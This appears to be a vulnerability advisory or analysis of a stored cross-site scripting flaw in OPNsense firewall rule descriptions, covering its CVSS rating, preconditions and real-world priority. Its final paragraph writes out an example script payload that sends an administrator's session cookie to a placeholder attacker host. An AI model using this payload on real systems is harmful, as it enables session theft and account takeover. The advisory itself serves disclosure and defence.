OPNsense EUVD-2026-52430

Exploitation requires the attacker to hold an authenticated OPNsense account with firewall rule creation or modification privileges (CVSS PR:L). The vulnerability is triggered through the filter API endpoint, a standard administrative interface accessible to users with that permission level. For the payload to execute, a separate authenticated OPNsense user must visit the Firewall Rules page - passive interaction (CVSS 4.0 UI:P) that occurs naturally during normal administration of the firewall. Limiting factors: fully unauthenticated exploitation is not possible; the attacker must possess a valid credential with specific rule management rights; victim interaction requires the Firewall Rules page to be loaded (not a background trigger); and the impact is bounded to session/credential theft of the viewing user rather than arbitrary OS-level command execution or data exfiltration from the host itself.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P, score 5.1 Medium) accurately reflects the exploitation constraints: network reachable, low complexity, but requiring a low-privilege authenticated account to inject and passive victim interaction for detonation. The subsequent-system impact (SC:L/SI:L) correctly captures the cross-user attack model - the direct vulnerable system is not impacted, but victim sessions are. Real-world priority is moderate rather than high: the attacker must already hold a legitimate OPNsense account with rule management rights, limiting the realistic threat to insider threat, compromised credential scenarios, or multi-tenant environments where sub-admins have firewall access. No EPSS score was provided in the input data, and the vulnerability is absent from CISA KEV, providing no signal of opportunistic or mass exploitation. The attack surface is constrained to users of the Firewall Rules page; it is not a unauthenticated RCE, and impact ceiling is session-level compromise of other administrators rather than direct OS-level control.

An attacker with a low-privilege OPNsense account that has firewall rule management rights submits a firewall rule via the filter API with a JavaScript payload such as <script>document.location='https://attacker.tld/steal?c='+document.cookie</script> embedded in the description field. The payload is stored and rendered without escaping on the Firewall Rules page. When a higher-privileged administrator later navigates to that page during routine operations, the script silently executes in their browser, forwarding session cookies to the attacker and enabling account takeover. No public exploit code has been identified at time of analysis, but the technique requires no specialized tooling beyond a standard HTTP client.